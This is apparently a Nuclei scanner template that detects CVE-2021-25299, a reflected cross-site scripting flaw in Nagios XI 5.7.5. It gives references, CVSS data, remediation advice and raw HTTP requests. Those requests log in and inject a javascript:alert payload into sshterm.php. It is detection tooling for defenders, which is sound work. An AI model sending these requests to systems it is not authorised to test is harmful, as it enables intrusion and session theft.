2023-02-21 08:44:36 +00:00
id : CVE-2021-25299
info :
name : Nagios XI 5.7.5 - Cross-Site Scripting
author : ritikchaddha
severity : medium
description : |
2023-03-07 21:24:46 +00:00
Nagios XI 5.7.5 contains a cross-site scripting vulnerability in the file /usr/local/nagiosxi/html/admin/sshterm.php, due to improper sanitization of user-controlled input. A maliciously crafted URL, when clicked by an admin user, can be used to steal session cookies, or it can be chained with the previous bugs to get one-click remote command execution on the Nagios XI server.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade Nagios XI to the latest version or apply the provided patch to fix the XSS vulnerability.
2023-02-21 08:44:36 +00:00
reference :
- https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md#cve-2021-25299
2023-02-23 18:30:27 +00:00
- http://nagios.com
- https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md
2023-03-07 21:24:46 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-25299
2023-07-11 19:49:27 +00:00
- https://assets.nagios.com/downloads/nagiosxi/versions.php
2023-02-21 08:44:36 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
2023-02-23 18:30:27 +00:00
cve-id : CVE-2021-25299
2023-02-21 08:44:36 +00:00
cwe-id : CWE-79
2023-10-19 10:38:59 +00:00
epss-score : 0.96665
2023-10-25 06:44:12 +00:00
epss-percentile : 0.9951
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:nagios:nagios_xi:5.7.5:*:*:*:*:*:*:*
2023-02-23 18:10:46 +00:00
metadata :
2023-06-04 08:13:42 +00:00
verified : true
2023-09-06 12:09:01 +00:00
max-request : 3
2023-07-11 19:49:27 +00:00
vendor : nagios
product : nagios_xi
2023-09-06 12:09:01 +00:00
shodan-query : title:"Nagios XI"
2023-02-21 08:44:36 +00:00
tags : cve,cve2021,nagios,nagiosxi,xss,authenticated
2023-04-27 04:28:59 +00:00
http :
2023-02-21 08:44:36 +00:00
- raw :
- |
GET /nagiosxi/login.php HTTP/1.1
Host : {{Hostname}}
- |
POST /nagiosxi/login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
nsp={{nsp}}&page=auth&debug=&pageopt=login&username={{username}}&password={{password}}&loginButton=
- |
GET /nagiosxi/admin/sshterm.php?url=javascript:alert(document.domain) HTTP/1.1
Host : {{Hostname}}
cookie-reuse : true
matchers :
- type : dsl
dsl :
2023-06-19 21:10:30 +00:00
- "contains(header_3, 'text/html')"
2023-02-21 08:44:36 +00:00
- "status_code_3 == 200"
- 'contains(body_3, "iframe src=\"javascript:alert(document.domain)") && contains(body_3, "SSH Terminal")'
condition : and
extractors :
- type : regex
name : nsp
group : 1
regex :
- 'name="nsp" value="(.*)">'
internal : true
2023-07-11 19:49:27 +00:00
part : body
2023-10-25 12:04:43 +00:00
# digest: 4a0a00473045022100ed9eb43ac685716321743081dd45abbbcd25b28c17f492a2154128d47222e57402206963ec90a566b3070b9f54b5cff7f58c6d5998ed4fccfdda3b5f45017b5ac6fc:922c64590222798bb761d5b6d8e72950